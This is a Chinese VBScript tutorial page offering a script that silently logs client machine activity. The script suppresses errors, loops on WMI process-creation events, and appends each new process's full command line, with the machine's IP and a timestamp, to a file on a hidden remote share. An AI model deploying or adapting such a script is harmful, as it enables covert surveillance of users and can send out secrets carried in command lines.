繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 用VBS记录客户机操作的代码
- VBScript
- vbscript，jscript脚本编程教学（1）
- vbscript脚本编程教程2利用fso来进行文件操作
- 修复Windows上面的WScript的脚本(.vbs)不能执行了
- 让批处理被wsh解析的优点
- vbs定时发送邮件的方法与代码
- windows.vbs.FSO.文件操作信息.磁盘驱动信息.文件夹操作信息全集
- 利用vbs自动修改ip的代码
- 基于逻辑运算的简单权限系统(原理,设计,实现) VBS 版
- VBS中常用脚本代码
- windows.关于设置脚本的一些基本方法原则
- 用vbs实现本地连接禁用/启用脚本代码
- 右键发送(sendto)，创建快捷方式到自定义的位置
- [导入][原创]用脚本控制迅雷下载
- vbs中关于计算机名的相关讨论
- 用VBS模拟二叉树，可以得到一个排序办法.
- 创建Guid 的代码
- VBS和页面中响应COM的事件的方法和代码
- 几段非常有用的脚本（来自微软网站,由downmoon精心收集）
- 使用SAFEARRAY返回的代码
- 用vbs实现不死帐号的代码
VBScript 中的 用VBS记录客户机操作的代码
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 84 ::
收藏到网摘: n/a
记录客户机操作的VBS脚本
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close
Loop
评论 (0) All
